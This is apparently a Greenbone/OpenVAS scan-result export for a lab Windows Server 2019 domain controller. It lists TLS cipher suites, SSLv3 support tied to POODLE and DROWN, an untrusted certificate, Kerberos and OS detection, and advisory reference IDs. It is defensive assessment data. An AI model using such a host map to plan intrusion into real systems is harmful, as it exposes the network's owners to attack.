DFN-CERT-2015-0021		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2013-1847		dfn-cert		DFN-CERT-2013-1792		dfn-cert		DFN-CERT-2012-1979		dfn-cert		DFN-CERT-2012-1829		dfn-cert		DFN-CERT-2012-1530		dfn-cert		DFN-CERT-2012-1380		dfn-cert		DFN-CERT-2012-1377		dfn-cert		DFN-CERT-2012-1292		dfn-cert		DFN-CERT-2012-1214		dfn-cert		DFN-CERT-2012-1213		dfn-cert		DFN-CERT-2012-1180		dfn-cert		DFN-CERT-2012-1156		dfn-cert		DFN-CERT-2012-1155		dfn-cert		DFN-CERT-2012-1039		dfn-cert		DFN-CERT-2012-0956		dfn-cert		DFN-CERT-2012-0908		dfn-cert		DFN-CERT-2012-0868		dfn-cert		DFN-CERT-2012-0867		dfn-cert		DFN-CERT-2012-0848		dfn-cert		DFN-CERT-2012-0838		dfn-cert		DFN-CERT-2012-0776		dfn-cert		DFN-CERT-2012-0722		dfn-cert		DFN-CERT-2012-0638		dfn-cert		DFN-CERT-2012-0627		dfn-cert		DFN-CERT-2012-0451		dfn-cert		DFN-CERT-2012-0418		dfn-cert		DFN-CERT-2012-0354		dfn-cert		DFN-CERT-2012-0234		dfn-cert		DFN-CERT-2012-0221		dfn-cert		DFN-CERT-2012-0177		dfn-cert		DFN-CERT-2012-0170		dfn-cert		DFN-CERT-2012-0146		dfn-cert		DFN-CERT-2012-0142		dfn-cert		DFN-CERT-2012-0126		dfn-cert		DFN-CERT-2012-0123		dfn-cert		DFN-CERT-2012-0095		dfn-cert		DFN-CERT-2012-0051		dfn-cert		DFN-CERT-2012-0047		dfn-cert		DFN-CERT-2012-0021		dfn-cert		DFN-CERT-2011-1953		dfn-cert		DFN-CERT-2011-1946		dfn-cert		DFN-CERT-2011-1844		dfn-cert		DFN-CERT-2011-1826		dfn-cert		DFN-CERT-2011-1774		dfn-cert		DFN-CERT-2011-1743		dfn-cert		DFN-CERT-2011-1738		dfn-cert		DFN-CERT-2011-1706		dfn-cert		DFN-CERT-2011-1628		dfn-cert		DFN-CERT-2011-1627		dfn-cert		DFN-CERT-2011-1619		dfn-cert		DFN-CERT-2011-1482

		SSL/TLS: Report Supported Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Report Supported Cipher Suites		SSL and TLS		0				2014-03-06T11:50:28Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service.



  As the VT 'SSL/TLS: Check Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.900234) might run

  into a timeout the actual reporting of all accepted cipher suites takes place in this VT instead.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.802067		2022-02-18T09:01:14Z		Log		0		98				No 'Strong' cipher suites accepted by this service via the SSLv3 protocol.



'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



No 'Weak' cipher suites accepted by this service via the SSLv3 protocol.



No 'Null' cipher suites accepted by this service via the SSLv3 protocol.



No 'Anonymous' cipher suites accepted by this service via the SSLv3 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.0 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.1 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.2 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384



No 'Weak' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.2 protocol.		Log		0		2513f8f3-59a5-4650-8fea-f7e48ba63178

		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		SSL and TLS		5.9		NVD		2018-11-30T21:31:00Z		5.9		CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N		cvss_base_v3		5.9		cvss_base_vector=CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N|summary=It was possible to detect the usage of the deprecated SSLv2

  and/or SSLv3 protocol on this system.|insight=The SSLv2 and SSLv3 protocols contain known cryptographic

  flaws like:



  - CVE-2014-3566: Padding Oracle On Downgraded Legacy Encryption (POODLE)



  - CVE-2016-0800: Decrypting RSA with Obsolete and Weakened eNcryption (DROWN)|affected=All services providing an encrypted communication using the

  SSLv2 and/or SSLv3 protocols.|impact=An attacker might be able to use the known cryptographic flaws to

  eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated SSLv2 and/or SSLv3

  protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.|vuldetect=Check the used SSL protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated SSLv2 and/or SSLv3

  protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.		1.3.6.1.4.1.25623.1.0.111012		2021-10-15T12:51:02Z		Medium		5.9		98				In addition to TLSv1.0+ the service is also providing the deprecated SSLv3 protocol and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.		Medium		5.9		faf30b87-0eb4-436a-9dba-c1c125ddd831		cve		CVE-2016-0800		cve		CVE-2014-3566		url		https://ssl-config.mozilla.org/		url		https://bettercrypto.org/		url		https://drownattack.com/		url		https://www.imperialviolet.org/2014/10/14/poodle.html		url		https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014		cert-bund		CB-K18/0094		cert-bund		CB-K17/1198		cert-bund		CB-K17/1196		cert-bund		CB-K16/1828		cert-bund		CB-K16/1438		cert-bund		CB-K16/1384		cert-bund		CB-K16/1141		cert-bund		CB-K16/1107		cert-bund		CB-K16/1102		cert-bund		CB-K16/0792		cert-bund		CB-K16/0599		cert-bund		CB-K16/0597		cert-bund		CB-K16/0459		cert-bund		CB-K16/0456		cert-bund		CB-K16/0433		cert-bund		CB-K16/0424		cert-bund		CB-K16/0415		cert-bund		CB-K16/0413		cert-bund		CB-K16/0374		cert-bund		CB-K16/0367		cert-bund		CB-K16/0331		cert-bund		CB-K16/0329		cert-bund		CB-K16/0328		cert-bund		CB-K16/0156		cert-bund		CB-K15/1514		cert-bund		CB-K15/1358		cert-bund		CB-K15/1021		cert-bund		CB-K15/0972		cert-bund		CB-K15/0637		cert-bund		CB-K15/0590		cert-bund		CB-K15/0525		cert-bund		CB-K15/0393		cert-bund		CB-K15/0384		cert-bund		CB-K15/0287		cert-bund		CB-K15/0252		cert-bund		CB-K15/0246		cert-bund		CB-K15/0237		cert-bund		CB-K15/0118		cert-bund		CB-K15/0110		cert-bund		CB-K15/0108		cert-bund		CB-K15/0080		cert-bund		CB-K15/0078		cert-bund		CB-K15/0077		cert-bund		CB-K15/0075		cert-bund		CB-K14/1617		cert-bund		CB-K14/1581		cert-bund		CB-K14/1537		cert-bund		CB-K14/1479		cert-bund		CB-K14/1458		cert-bund		CB-K14/1342		cert-bund		CB-K14/1314		cert-bund		CB-K14/1313		cert-bund		CB-K14/1311		cert-bund		CB-K14/1304		cert-bund		CB-K14/1296		dfn-cert		DFN-CERT-2018-0096		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1236		dfn-cert		DFN-CERT-2016-1929		dfn-cert		DFN-CERT-2016-1527		dfn-cert		DFN-CERT-2016-1468		dfn-cert		DFN-CERT-2016-1216		dfn-cert		DFN-CERT-2016-1174		dfn-cert		DFN-CERT-2016-1168		dfn-cert		DFN-CERT-2016-0884		dfn-cert		DFN-CERT-2016-0841		dfn-cert		DFN-CERT-2016-0644		dfn-cert		DFN-CERT-2016-0642		dfn-cert		DFN-CERT-2016-0496		dfn-cert		DFN-CERT-2016-0495		dfn-cert		DFN-CERT-2016-0465		dfn-cert		DFN-CERT-2016-0459		dfn-cert		DFN-CERT-2016-0453		dfn-cert		DFN-CERT-2016-0451		dfn-cert		DFN-CERT-2016-0415		dfn-cert		DFN-CERT-2016-0403		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2016-0360		dfn-cert		DFN-CERT-2016-0359		dfn-cert		DFN-CERT-2016-0357		dfn-cert		DFN-CERT-2016-0171		dfn-cert		DFN-CERT-2015-1431		dfn-cert		DFN-CERT-2015-1075		dfn-cert		DFN-CERT-2015-1026		dfn-cert		DFN-CERT-2015-0664		dfn-cert		DFN-CERT-2015-0548		dfn-cert		DFN-CERT-2015-0404		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0259		dfn-cert		DFN-CERT-2015-0254		dfn-cert		DFN-CERT-2015-0245		dfn-cert		DFN-CERT-2015-0118		dfn-cert		DFN-CERT-2015-0114		dfn-cert		DFN-CERT-2015-0083		dfn-cert		DFN-CERT-2015-0082		dfn-cert		DFN-CERT-2015-0081		dfn-cert		DFN-CERT-2015-0076		dfn-cert		DFN-CERT-2014-1717		dfn-cert		DFN-CERT-2014-1680		dfn-cert		DFN-CERT-2014-1632		dfn-cert		DFN-CERT-2014-1564		dfn-cert		DFN-CERT-2014-1542		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2014-1366		dfn-cert		DFN-CERT-2014-1354

		SSL/TLS: Client Certificate Required		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Client Certificate Required		SSL and TLS		0				2021-12-06T13:43:24Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The remote SSL/TLS service requires an SSL/TLS client

  certificate.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote SSL/TLS

  service and attempts to determine if the service requires an SSL/TLS client certificate.|solution_type=						1.3.6.1.4.1.25623.1.0.117810		2022-02-23T10:17:11Z		Log		0		80				The remote SSL/TLS service requires a client certificate when accessing it via the following SSL/TLS protocol version(s):



SSLv3

TLSv1.0

TLSv1.1

TLSv1.2		Log		0		c2773dd7-f9be-40d6-92cc-7d103b499a40

		SSL/TLS: Safe/Secure Renegotiation Support Status		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Safe/Secure Renegotiation Support Status		SSL and TLS		0				2021-10-27T11:26:49Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service supports

  safe/secure renegotiation.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117757		2021-11-12T09:42:39Z		Log		0		98				Protocol Version | Safe/Secure Renegotiation Support Status

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

SSLv3            | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).

TLSv1.0          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.1          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.2          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.3          | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).		Log		0		ede05c7e-3497-4829-91e4-8d146d3cfb5b		url		https://www.gnutls.org/manual/html_node/Safe-renegotiation.html		url		https://wiki.openssl.org/index.php/TLS1.3#Renegotiation		url		https://datatracker.ietf.org/doc/html/rfc5746

		SSL/TLS: Collect and Report Certificate Details		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Collect and Report Certificate Details		SSL and TLS		0				2013-04-09T12:14:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script collects and reports the details of all SSL/TLS

  certificates.



  This data will be used by other tests to verify server certificates.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103692		2021-12-10T12:48:00Z		Log		0		98				The following certificate details of the remote service were collected.



Certificate details:

fingerprint (SHA-1)             | EE36DA763B9CF884C52BD1535F2B0D355EB48798

fingerprint (SHA-256)           | 312D81B8EF24F5A29285C30A155948794DABACD258B77E5E9211DE70D8556299

issued by                       | CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local

public key algorithm            | RSA

public key size (bits)          | 2048

serial                          | 66000000028DF13970CE9BBC1D000000000002

signature algorithm             | sha256WithRSAEncryption

subject                         | CN=Win-Serv-19-DC.DC.local

subject alternative names (SAN) | Win-Serv-19-DC.DC.local

valid from                      | 2022-05-17 11:49:19 UTC

valid until                     | 2023-05-17 11:49:19 UTC		Log		0		01ba1263-6cc3-46ec-99af-6fcb34cb7326

		SSL/TLS: Untrusted Certificate Detection		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Untrusted Certificate Detection		SSL and TLS		0				2021-11-09T10:22:58Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service is using a

  certificate which is untrusted / the verification against the system wide trust store has failed.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117764		2021-11-12T09:42:39Z		Log		0		98				The remote SSL/TLS server is using the following certificate(s) which failed the verification against the system wide trust store (serial:issuer):



66000000028DF13970CE9BBC1D000000000002:CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local (Server certificate)		Log		0		2e025718-5acc-4b11-81fb-d0f51663ab97

		SSL/TLS: Version Detection		admin		2022-07-26T17:26:10Z				2022-07-26T17:26:10Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Version Detection		SSL and TLS		0				2016-06-29T08:54:20Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Enumeration and reporting of SSL/TLS protocol versions supported

  by a remote service.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote service and

  attempts to determine the SSL/TLS protocol versions supported by the service from the replies.



  Note: The supported SSL/TLS protocol versions included in the report of this VT are reported

  independently from the allowed / supported SSL/TLS ciphers.|solution_type=						1.3.6.1.4.1.25623.1.0.105782		2021-12-06T15:42:24Z		Log		0		80				The remote SSL/TLS service supports the following SSL/TLS protocol version(s):



SSLv3

TLSv1.0

TLSv1.1

TLSv1.2		Log		0		39d31cb9-c6e7-4ce8-8925-7cf4a46ed1e3

		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		SSL and TLS		0				2014-05-06T13:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service which are supporting Perfect Forward Secrecy (PFS).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105018		2021-12-09T13:40:52Z		Log		0		98				Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384		Log		0		92d20618-bf14-477f-b07b-8750938fd024

		Kerberos Detection (TCP)		admin		2022-07-26T17:27:40Z				2022-07-26T17:27:40Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		88/tcp		nvt		Kerberos Detection (TCP)		Service detection		0				2013-12-12T10:31:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=TCP based detection of a Kerberos server.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103854		2021-04-14T13:21:59Z		Log		0		80				A Kerberos Server is running at this port.



Realm: DC.LOCAL

Server time: 2022-07-26 17:27:32		Log		0		3c47dbfa-b1fb-4663-96a6-ce4c95bdab30

		Unknown OS and Service Banner Reporting		admin		2022-07-26T19:02:42Z				2022-07-26T19:02:42Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		9389/tcp		nvt		Unknown OS and Service Banner Reporting		Service detection		0				2018-05-02T08:53:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This NVT consolidates and reports the information collected by

  the following NVTs:



  - Collect banner of unknown services (OID: 1.3.6.1.4.1.25623.1.0.11154)



  - Service Detection (unknown) with nmap (OID: 1.3.6.1.4.1.25623.1.0.66286)



  - Service Detection (wrapped) with nmap (OID: 1.3.6.1.4.1.25623.1.0.108525)



  - OS Detection Consolidation and Reporting (OID: 1.3.6.1.4.1.25623.1.0.105937)



  If you know any of the information reported here, please send the full output to

  the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108441		2019-01-03T20:41:17Z		Log		0		80				Nmap service detection (unknown) result for this port: mc-nmf		Log		0		88213e4c-0401-4ebe-ab79-2a84d8a85183		url		https://community.greenbone.net/c/vulnerability-tests

		CPE Inventory		admin		2022-07-27T00:23:02Z				2022-07-27T00:23:02Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/CPE-T		nvt		CPE Inventory		Service detection		0				2009-11-18T10:43:05Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine uses information collected by other routines about

  CPE identities of operating systems, services and applications detected during the scan.



  Note: Some CPEs for specific products might show up twice or more in the output. Background:



  After a product got renamed or a specific vendor was acquired by another one it might happen that a

  product gets a new CPE within the NVD CPE Dictionary but older entries are kept with the older CPE.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.810002		2021-04-16T10:39:13Z		Log		0		80				192.168.186.128|cpe:/a:jquery:jquery

192.168.186.128|cpe:/a:microsoft:internet_information_services:10.0

192.168.186.128|cpe:/o:microsoft:windows		Log		0		9561fd30-7baa-4b0a-ac1b-85e29713d2dc		url		https://nvd.nist.gov/products/cpe

		Traceroute		admin		2022-07-26T17:22:49Z				2022-07-26T17:22:49Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/tcp		nvt		Traceroute		General		0				2010-07-08T17:27:45Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Collect information about the network route and

  network distance between the scanner host and the target host.|insight=For internal networks, the distances are usually

  small, often less than 4 hosts between scanner and target. For public targets the

  distance is greater and might be 10 hosts or more.|affected=|impact=|solution=|vuldetect=A combination of the protocols ICMP and TCP is used

  to determine the route. This method is applicable for IPv4 only and it is also known as

  'traceroute'.|solution_type=						1.3.6.1.4.1.25623.1.0.51662		2021-03-12T14:25:59Z		Log		0		80				Network route from scanner (192.168.186.132) to target (192.168.186.128):



192.168.186.132

192.168.186.128



Network distance between scanner and target: 2		Log		0		26da6964-80f7-4dd6-8067-24a814d2aa77

		Hostname Determination Reporting		admin		2022-07-27T00:23:02Z				2022-07-27T00:23:02Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/tcp		nvt		Hostname Determination Reporting		Service detection		0				2018-07-05T06:03:26Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The script reports information on how the hostname

  of the target was determined.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108449		2018-11-19T11:11:31Z		Log		0		80				Hostname determination for IP 192.168.186.128:



Hostname|Source

192.168.186.128|IP-address		Log		0		ccc1c759-682f-489e-927b-ececca705444

		SSL/TLS: Hostname discovery from server certificate		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/tcp		nvt		SSL/TLS: Hostname discovery from server certificate		SSL and TLS		0				2015-03-27T11:00:00Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=It was possible to discover an additional hostname

  of this server from its certificate Common or Subject Alt Name.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.111010		2021-11-22T15:32:39Z		Log		0		98				The following additional but not resolvable hostnames were detected:



Win-Serv-19-DC.DC.local		Log		0		3cbe127d-07ab-4041-bf88-b0d080b5f6b5

		OS Detection Consolidation and Reporting		admin		2022-07-26T17:37:12Z				2022-07-26T17:37:12Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/tcp		nvt		OS Detection Consolidation and Reporting		Product detection		0				2016-02-19T10:19:54Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script consolidates the OS information detected by several

  VTs and tries to find the best matching OS.



  Furthermore it reports all previously collected information leading to this best matching OS. It

  also reports possible additional information which might help to improve the OS detection.



  If any of this information is wrong or could be improved please consider to report these to the

  referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105937		2022-06-08T10:05:52Z		Log		0		80				Best matching OS:



OS:           Microsoft Windows

CPE:          cpe:/o:microsoft:windows

Found by NVT: 1.3.6.1.4.1.25623.1.0.111067 (Operating System (OS) Detection (HTTP))

Concluded from HTTP Server banner on port 5985/tcp: Server: Microsoft-HTTPAPI/2.0

Setting key "Host/runs_windows" based on this information



Other OS detections (in order of reliability):



OS:           Microsoft Windows Server 2016 or Microsoft Windows 10

CPE:          cpe:/o:microsoft:windows

Found by NVT: 1.3.6.1.4.1.25623.1.0.111067 (Operating System (OS) Detection (HTTP))

Concluded from HTTP Server banner on port 443/tcp: Server: Microsoft-IIS/10.0



OS:           Microsoft Windows

CPE:          cpe:/o:microsoft:windows

Found by NVT: 1.3.6.1.4.1.25623.1.0.100062 (Microsoft Remote Desktop Protocol (RDP) Detection)

Concluded from Microsoft Remote Desktop Protocol (RDP) on port 3389/tcp: Windows, possible Windows 10 or Server 2016 based on binary response fingerprinting: 030000130ed00000123400021f080002000000



OS:           Microsoft Windows

CPE:          cpe:/o:microsoft:windows

Found by NVT: 1.3.6.1.4.1.25623.1.0.108044 (DCE/RPC and MSRPC Services Enumeration)

Concluded from DCE/RPC and MSRPC Services Enumeration on port 135/tcp



OS:           Microsoft Windows

CPE:          cpe:/o:microsoft:windows

Found by NVT: 1.3.6.1.4.1.25623.1.0.10150 (Using NetBIOS to retrieve information from a SMB host)

Concluded from NetBIOS information on port 137/udp		Log		0		38e99a32-f148-4159-9570-b8c8c20d9c3f		url		https://community.greenbone.net/c/vulnerability-tests

